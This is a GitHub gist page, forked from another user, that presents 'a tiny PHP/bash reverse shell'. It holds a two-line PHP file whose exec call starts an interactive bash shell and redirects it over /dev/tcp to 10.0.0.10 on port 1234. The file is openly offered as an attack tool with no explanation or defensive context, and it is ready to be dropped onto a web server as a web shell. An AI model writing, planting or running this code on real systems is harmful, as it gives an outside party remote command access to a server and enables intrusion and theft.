Skip to content

Instantly share code, notes, and snippets.

@chase2981
Forked from rshipp/shell.php
Created March 8, 2022 20:16
Show Gist options
  • Save chase2981/0254d460a1ceb1ca944e32466d1a28b2 to your computer and use it in GitHub Desktop.
Save chase2981/0254d460a1ceb1ca944e32466d1a28b2 to your computer and use it in GitHub Desktop.
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment